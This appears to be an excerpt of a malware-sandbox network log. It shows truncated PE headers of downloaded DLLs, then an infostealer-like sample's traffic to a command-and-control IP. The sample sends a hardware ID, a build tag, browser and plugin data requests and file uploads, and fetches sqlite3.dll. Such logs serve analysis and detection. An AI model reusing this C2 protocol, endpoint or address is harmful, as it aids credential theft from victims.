08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 17:43:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 17:43:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 17:43:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 17:43:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 46 30 46 38 31 34 45 46 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="hwid"BCF0F814EF8B2768236643------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="build"tale------DAEBKKKEHDHDGDGCFBKJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"browsers------JJDHIDBFBFHIJKFHCGIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="message"plugins------BFHDHJKKJDHJJJJKEGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"fplugins------GHDHDGHJEBGIDGDGIJJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDHHost: 185.215.113.206Content-Length: 5415Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCBHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 2d 2d 0d 0a Data Ascii: ------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file"------JEHIIDGCFHIEGDGCBFHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
